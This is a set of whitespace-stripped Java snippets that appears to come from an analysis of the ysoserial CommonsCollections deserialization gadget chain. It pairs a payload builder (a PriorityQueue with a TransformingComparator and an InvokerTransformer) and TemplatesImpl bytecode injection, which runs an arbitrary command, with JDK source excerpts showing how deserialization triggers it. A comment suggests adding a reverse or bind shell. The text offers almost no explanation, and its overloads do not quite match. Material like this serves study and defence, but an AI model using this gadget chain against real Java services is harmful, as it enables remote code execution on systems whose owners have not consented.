publicQueue<Object>getObject(finalStringcommand)throwsException{finalObjecttemplates=Gadgets.createTemplatesImpl(command);// mock method name until armedfinalInvokerTransformertransformer=newInvokerTransformer("toString",newClass[0],newObject[0]);// create queue with numbers and basic comparatorfinalPriorityQueue<Object>queue=newPriorityQueue<Object>(2,newTransformingComparator(transformer));// stub data for replacement laterqueue.add(1);queue.add(1);// switch method called by comparatorReflections.setFieldValue(transformer,"iMethodName","newTransformer");// switch contents of queuefinalObject[]queueArray=(Object[])Reflections.getFieldValue(queue,"queue");queueArray[0]=templates;queueArray[1]=1;returnqueue;}
privatevoidreadObject(java.io.ObjectInputStreams)throwsjava.io.IOException,ClassNotFoundException{// Read in size, and any hidden stuffs.defaultReadObject();// Read in (and discard) array lengths.readInt();SharedSecrets.getJavaOISAccess().checkArray(s,Object[].class,size);queue=newObject[size];// Read in all elements.for(inti=0;i<size;i++)queue[i]=s.readObject();// Elements are guaranteed to be in "proper order", but the// spec has never explained what that might be.heapify();}
privatevoidheapify(){for(inti=(size>>>1)-1;i>=0;i--)siftDown(i,(E)queue[i]);// 进行排序}privatevoidsiftDown(intk,Ex){if(comparator!=null)siftDownUsingComparator(k,x);// 如果指定比较器就使用elsesiftDownComparable(k,x);// 没指定就使用默认的自然比较器}privatevoidsiftDownUsingComparator(intk,Ex){inthalf=size>>>1;while(k<half){intchild=(k<<1)+1;Objectc=queue[child];intright=child+1;if(right<size&&comparator.compare((E)c,(E)queue[right])>0)c=queue[child=right];if(comparator.compare(x,(E)c)<=0)break;queue[k]=c;k=child;}queue[k]=x;}privatevoidsiftDownComparable(intk,Ex){Comparable<?superE>key=(Comparable<?superE>)x;inthalf=size>>>1;// loop while a non-leafwhile(k<half){intchild=(k<<1)+1;// assume left child is leastObjectc=queue[child];intright=child+1;if(right<size&&((Comparable<?superE>)c).compareTo((E)queue[right])>0)c=queue[child=right];if(key.compareTo((E)c)<=0)break;queue[k]=c;k=child;}queue[k]=key;}
publicstaticObjectcreateTemplatesImpl(finalStringcommand)throwsException{if(Boolean.parseBoolean(System.getProperty("properXalan","false"))){returncreateTemplatesImpl(command,Class.forName("org.apache.xalan.xsltc.trax.TemplatesImpl"),Class.forName("org.apache.xalan.xsltc.runtime.AbstractTranslet"),Class.forName("org.apache.xalan.xsltc.trax.TransformerFactoryImpl"));}returncreateTemplatesImpl(command,TemplatesImpl.class,AbstractTranslet.class,TransformerFactoryImpl.class);}publicstatic<T>TcreateTemplatesImpl(finalStringcommand,Class<T>tplClass,Class<?>abstTranslet,Class<?>transFactory,Stringtemplate)throwsException{finalTtemplates=tplClass.newInstance();// use template gadget classClassPoolpool=ClassPool.getDefault();pool.insertClassPath(newClassClassPath(StubTransletPayload.class));pool.insertClassPath(newClassClassPath(abstTranslet));finalCtClassclazz=pool.get(StubTransletPayload.class.getName());// run command in static initializer// TODO: could also do fun things like injecting a pure-java rev/bind-shell to bypass naive protectionsclazz.makeClassInitializer().insertAfter(template);// sortarandom name to allow repeated exploitation (watch out for PermGen exhaustion)clazz.setName("ysoserial.Pwner"+System.nanoTime());CtClasssuperC=pool.get(abstTranslet.getName());clazz.setSuperclass(superC);finalbyte[]classBytes=clazz.toBytecode();// inject class bytes into instanceReflections.setFieldValue(templates,"_bytecodes",newbyte[][]{classBytes,ClassFiles.classAsBytes(Foo.class)});// required to make TemplatesImpl happyReflections.setFieldValue(templates,"_name","Pwnr");Reflections.setFieldValue(templates,"_tfactory",transFactory.newInstance());returntemplates;}
privatevoiddefineTransletClasses()throwsTransformerConfigurationException{if(_bytecodes==null){ErrorMsgerr=newErrorMsg(ErrorMsg.NO_TRANSLET_CLASS_ERR);thrownewTransformerConfigurationException(err.toString());}TransletClassLoaderloader=(TransletClassLoader)AccessController.doPrivileged(newPrivilegedAction(){publicObjectrun(){returnnewTransletClassLoader(ObjectFactory.findClassLoader(),_tfactory.getExternalExtensionsMap());}});try{finalintclassCount=_bytecodes.length;_class=newClass[classCount];if(classCount>1){_auxClasses=newHashMap<>();}for(inti=0;i<classCount;i++){_class[i]=loader.defineClass(_bytecodes[i]);finalClasssuperClass=_class[i].getSuperclass();// Check if this is the main classif(superClass.getName().equals(ABSTRACT_TRANSLET)){_transletIndex=i;}else{_auxClasses.put(_class[i].getName(),_class[i]);}}if(_transletIndex<0){ErrorMsgerr=newErrorMsg(ErrorMsg.NO_MAIN_TRANSLET_ERR,_name);thrownewTransformerConfigurationException(err.toString());}}catch(ClassFormatErrore){ErrorMsgerr=newErrorMsg(ErrorMsg.TRANSLET_CLASS_ERR,_name);thrownewTransformerConfigurationException(err.toString());}catch(LinkageErrore){ErrorMsgerr=newErrorMsg(ErrorMsg.TRANSLET_OBJECT_ERR,_name);thrownewTransformerConfigurationException(err.toString());}}